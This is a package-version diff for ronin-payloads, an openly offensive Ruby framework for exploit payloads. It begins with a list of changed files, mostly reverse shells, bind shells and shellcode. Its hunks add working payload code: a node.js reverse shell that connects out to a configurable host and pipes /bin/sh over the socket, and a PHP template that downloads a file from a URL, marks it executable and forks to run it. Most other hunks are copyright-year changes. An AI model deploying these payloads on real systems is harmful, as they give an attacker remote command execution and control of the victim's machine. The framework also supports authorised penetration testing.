ronin-payloads 0.1.5 → 0.2.0.rc1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (168) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/ruby.yml +1 -1
  3. data/.gitignore +1 -0
  4. data/ChangeLog.md +45 -0
  5. data/Gemfile +6 -4
  6. data/README.md +26 -5
  7. data/Rakefile +10 -0
  8. data/data/completions/ronin-payloads +127 -0
  9. data/data/completions/ronin-payloads.yml +16 -0
  10. data/gemspec.yml +3 -1
  11. data/lib/ronin/payloads/asm_payload.rb +1 -1
  12. data/lib/ronin/payloads/binary_payload.rb +1 -1
  13. data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.c +61 -0
  14. data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.rb +84 -0
  15. data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.c +63 -0
  16. data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb +87 -0
  17. data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
  18. data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
  19. data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
  20. data/lib/ronin/payloads/builtin/cmd/netcat/bind_shell.rb +51 -0
  21. data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
  22. data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
  23. data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
  24. data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
  25. data/lib/ronin/payloads/builtin/cmd/ping.rb +52 -0
  26. data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
  27. data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
  28. data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
  29. data/lib/ronin/payloads/builtin/cmd/sleep.rb +49 -0
  30. data/lib/ronin/payloads/builtin/cmd/touch.rb +49 -0
  31. data/lib/ronin/payloads/builtin/cmd/windows/download.rb +70 -0
  32. data/lib/ronin/payloads/builtin/cmd/zsh/reverse_shell.rb +55 -0
  33. data/lib/ronin/payloads/builtin/groovy/reverse_shell.rb +54 -0
  34. data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
  35. data/lib/ronin/payloads/builtin/js/nashorn/reverse_shell.rb +63 -0
  36. data/lib/ronin/payloads/builtin/js/node/reverse_shell.rb +55 -0
  37. data/lib/ronin/payloads/builtin/php/cmd_exec.rb +1 -1
  38. data/lib/ronin/payloads/builtin/php/download_exec.php.erb +96 -0
  39. data/lib/ronin/payloads/builtin/php/download_exec.rb +54 -0
  40. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +1 -1
  41. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +1 -1
  42. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +1 -1
  43. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +1 -1
  44. data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +1 -1
  45. data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +1 -1
  46. data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +1 -1
  47. data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +1 -1
  48. data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +1 -1
  49. data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +1 -1
  50. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +1 -1
  51. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +1 -1
  52. data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +1 -1
  53. data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +1 -1
  54. data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +1 -1
  55. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +1 -1
  56. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +1 -1
  57. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +1 -1
  58. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +1 -1
  59. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +1 -1
  60. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +1 -1
  61. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
  62. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +1 -1
  63. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +1 -1
  64. data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +1 -1
  65. data/lib/ronin/payloads/builtin/test/cmd.rb +53 -0
  66. data/lib/ronin/payloads/builtin/test/open_redirect.rb +1 -1
  67. data/lib/ronin/payloads/builtin/test/url.rb +53 -0
  68. data/lib/ronin/payloads/builtin/test/xss.rb +1 -1
  69. data/lib/ronin/payloads/c_payload.rb +4 -60
  70. data/lib/ronin/payloads/cli/command.rb +1 -1
  71. data/lib/ronin/payloads/cli/commands/build.rb +3 -3
  72. data/lib/ronin/payloads/cli/commands/completion.rb +64 -0
  73. data/lib/ronin/payloads/cli/commands/encode.rb +1 -1
  74. data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
  75. data/lib/ronin/payloads/cli/commands/encoders.rb +1 -1
  76. data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
  77. data/lib/ronin/payloads/cli/commands/launch.rb +1 -1
  78. data/lib/ronin/payloads/cli/commands/list.rb +1 -1
  79. data/lib/ronin/payloads/cli/commands/show.rb +44 -1
  80. data/lib/ronin/payloads/cli/encoder_methods.rb +1 -1
  81. data/lib/ronin/payloads/cli/format_option.rb +1 -1
  82. data/lib/ronin/payloads/cli/payload_command.rb +1 -1
  83. data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
  84. data/lib/ronin/payloads/cli/printing.rb +5 -2
  85. data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
  86. data/lib/ronin/payloads/cli.rb +1 -1
  87. data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
  88. data/lib/ronin/payloads/command_payload.rb +1 -1
  89. data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -1
  90. data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -1
  91. data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -1
  92. data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -1
  93. data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -1
  94. data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -1
  95. data/lib/ronin/payloads/encoders/encoder.rb +1 -1
  96. data/lib/ronin/payloads/encoders/exceptions.rb +1 -1
  97. data/lib/ronin/payloads/encoders/html_encoder.rb +1 -1
  98. data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -1
  99. data/lib/ronin/payloads/encoders/pipeline.rb +1 -1
  100. data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -1
  101. data/lib/ronin/payloads/encoders/registry.rb +1 -1
  102. data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -1
  103. data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -1
  104. data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -1
  105. data/lib/ronin/payloads/encoders.rb +1 -1
  106. data/lib/ronin/payloads/exceptions.rb +1 -1
  107. data/lib/ronin/payloads/go_payload.rb +6 -2
  108. data/lib/ronin/payloads/groovy_payload.rb +49 -0
  109. data/lib/ronin/payloads/html_payload.rb +1 -1
  110. data/lib/ronin/payloads/java_payload.rb +6 -2
  111. data/lib/ronin/payloads/javascript_payload.rb +1 -1
  112. data/lib/ronin/payloads/jsp_payload.rb +1 -1
  113. data/lib/ronin/payloads/metadata/arch.rb +1 -1
  114. data/lib/ronin/payloads/metadata/os.rb +1 -1
  115. data/lib/ronin/payloads/mixins/binary.rb +1 -1
  116. data/lib/ronin/payloads/mixins/bind_shell.rb +1 -1
  117. data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
  118. data/lib/ronin/payloads/mixins/c_compiler.rb +250 -0
  119. data/lib/ronin/payloads/mixins/erb.rb +1 -1
  120. data/lib/ronin/payloads/mixins/network.rb +1 -1
  121. data/lib/ronin/payloads/mixins/post_ex.rb +1 -1
  122. data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
  123. data/lib/ronin/payloads/mixins/reverse_shell.rb +3 -1
  124. data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
  125. data/lib/ronin/payloads/mixins/typescript.rb +6 -2
  126. data/lib/ronin/payloads/nashorn_payload.rb +51 -0
  127. data/lib/ronin/payloads/node_js_payload.rb +1 -1
  128. data/lib/ronin/payloads/payload.rb +1 -1
  129. data/lib/ronin/payloads/php_payload.rb +1 -1
  130. data/lib/ronin/payloads/powershell_payload.rb +1 -1
  131. data/lib/ronin/payloads/python_payload.rb +1 -1
  132. data/lib/ronin/payloads/registry.rb +1 -1
  133. data/lib/ronin/payloads/root.rb +1 -1
  134. data/lib/ronin/payloads/ruby_payload.rb +1 -1
  135. data/lib/ronin/payloads/rust_payload.rb +6 -2
  136. data/lib/ronin/payloads/shell_payload.rb +1 -1
  137. data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
  138. data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
  139. data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
  140. data/lib/ronin/payloads/shellcode_payload.rb +1 -1
  141. data/lib/ronin/payloads/sql_payload.rb +1 -1
  142. data/lib/ronin/payloads/url_payload.rb +1 -1
  143. data/lib/ronin/payloads/version.rb +2 -2
  144. data/lib/ronin/payloads/xml_payload.rb +1 -1
  145. data/lib/ronin/payloads.rb +1 -1
  146. data/man/ronin-payloads-build.1 +16 -30
  147. data/man/ronin-payloads-build.1.md +15 -11
  148. data/man/ronin-payloads-completion.1 +76 -0
  149. data/man/ronin-payloads-completion.1.md +78 -0
  150. data/man/ronin-payloads-encode.1 +12 -24
  151. data/man/ronin-payloads-encode.1.md +11 -7
  152. data/man/ronin-payloads-encoder.1 +9 -18
  153. data/man/ronin-payloads-encoder.1.md +8 -4
  154. data/man/ronin-payloads-encoders.1 +8 -16
  155. data/man/ronin-payloads-encoders.1.md +7 -3
  156. data/man/ronin-payloads-irb.1 +8 -15
  157. data/man/ronin-payloads-irb.1.md +6 -2
  158. data/man/ronin-payloads-launch.1 +11 -20
  159. data/man/ronin-payloads-launch.1.md +9 -5
  160. data/man/ronin-payloads-list.1 +9 -16
  161. data/man/ronin-payloads-list.1.md +7 -3
  162. data/man/ronin-payloads-new.1.md +13 -9
  163. data/man/ronin-payloads-show.1 +11 -20
  164. data/man/ronin-payloads-show.1.md +9 -5
  165. data/man/ronin-payloads.1 +18 -26
  166. data/man/ronin-payloads.1.md +17 -10
  167. data/scripts/setup +58 -0
  168. metadata +30 -4
@@ -0,0 +1,55 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/node_js_payload'
23
+ require 'ronin/payloads/mixins/reverse_shell'
24
+
25
+ module Ronin
26
+ module Payloads
27
+ module JS
28
+ module Node
29
+ #
30
+ # A basic node.js JavaScript reverse shell.
31
+ #
32
+ # @since 0.2.0
33
+ #
34
+ class ReverseShell < NodeJSPayload
35
+
36
+ include Mixins::ReverseShell
37
+
38
+ register 'js/node/reverse_shell'
39
+
40
+ description <<~DESC
41
+ A basic node.js JavaScript reverse shell.
42
+ DESC
43
+
44
+ #
45
+ # Builds the node.js JavaScript reverse shell payload.
46
+ #
47
+ def build
48
+ @payload = %{(function(){var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(#{port}, #{host.dump}, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();}
49
+ end
50
+
51
+ end
52
+ end
53
+ end
54
+ end
55
+ end
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -0,0 +1,96 @@
1
+ <?php
2
+ function download_via_fopen($url,$output)
3
+ {
4
+ $input = fopen($url,'rb');
5
+
6
+ if (!$input)
7
+ {
8
+ return false;
9
+ }
10
+
11
+ while (!feof($input))
12
+ {
13
+ $chunk = fread($input,4096);
14
+
15
+ if ($chunk === false)
16
+ {
17
+ return false;
18
+ }
19
+
20
+ if (fwrite($output,$chunk) === false)
21
+ {
22
+ return false;
23
+ }
24
+ }
25
+
26
+ return true;
27
+ }
28
+
29
+ function download_via_curl($url,$output)
30
+ {
31
+ $ch = curl_init();
32
+
33
+ curl_setopt($ch, CURLOPT_URL, $url);
34
+ curl_setopt($ch, CURLOPT_HEADER, 0);
35
+ curl_setopt($ch, CURLOPT_FILE, $output);
36
+
37
+ $response = curl_exec($ch);
38
+
39
+ if ($response === false)
40
+ {
41
+ echo "curl: " . curl_error($ch);
42
+ return false;
43
+ }
44
+
45
+ return true;
46
+ }
47
+
48
+ function download($url)
49
+ {
50
+ $filename = basename($url);
51
+ $dest = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $filename;
52
+ $output = fopen($dest,'wb');
53
+
54
+ if (ini_get('allow_url_fopen'))
55
+ {
56
+ if (download_via_fopen($url,$output) === false)
57
+ {
58
+ return NULL;
59
+ }
60
+ }
61
+ else if (function_exists('curl_init'))
62
+ {
63
+ if (download_via_fopen($url,$output) === false)
64
+ {
65
+ return NULL;
66
+ }
67
+ }
68
+
69
+ fflush($output);
70
+ fclose($output);
71
+ return $dest;
72
+ }
73
+
74
+ function download_and_exec($url)
75
+ {
76
+ $path = download($url);
77
+
78
+ if ($path === NULL)
79
+ {
80
+ return false;
81
+ }
82
+
83
+ $perms = fileperms($path);
84
+ chmod($path,$perms | 0700);
85
+
86
+ if (pcntl_fork() == 0)
87
+ {
88
+ pcntl_exec($path);
89
+ exit(0);
90
+ }
91
+
92
+ return true;
93
+ }
94
+
95
+ download_and_exec(<%= @params[:url].to_s.dump %>);
96
+ ?>
@@ -0,0 +1,54 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2022 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/php_payload'
23
+ require 'ronin/payloads/mixins/erb'
24
+
25
+ module Ronin
26
+ module Payloads
27
+ module PHP
28
+ #
29
+ # A basic PHP download and exec payload.
30
+ #
31
+ # @since 0.2.0
32
+ #
33
+ class DownloadExec < PHPPayload
34
+
35
+ include Mixins::ERB
36
+
37
+ register 'php/download_exec'
38
+
39
+ param :url, URI, required: true,
40
+ desc: 'The URL to download and execute'
41
+
42
+ TEMPLATE = File.join(__dir__,'download_exec.php.erb')
43
+
44
+ #
45
+ # Builds the PHP command exec payload.
46
+ #
47
+ def build
48
+ @payload = erb(TEMPLATE)
49
+ end
50
+
51
+ end
52
+ end
53
+ end
54
+ end
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -4,7 +4,7 @@
4
4
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
5
  # payloads.
6
6
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
8
  #
9
9
  # ronin-payloads is free software: you can redistribute it and/or modify
10
10
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -0,0 +1,53 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/command_payload'
23
+
24
+ module Ronin
25
+ module Payloads
26
+ module Test
27
+ #
28
+ # A test command payload. Allows using a custom command with exploits that
29
+ # require a command payload.
30
+ #
31
+ # @since 0.2.0
32
+ #
33
+ class CMD < CommandPayload
34
+
35
+ register 'test/cmd'
36
+
37
+ summary "A test command payload"
38
+ description <<~DESC
39
+ Allows specifying a custom command for exploits that require a
40
+ command payload.
41
+ DESC
42
+
43
+ param :command, String, required: true,
44
+ desc: 'The command to execute'
45
+
46
+ def build
47
+ @payload = params[:command]
48
+ end
49
+
50
+ end
51
+ end
52
+ end
53
+ end
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
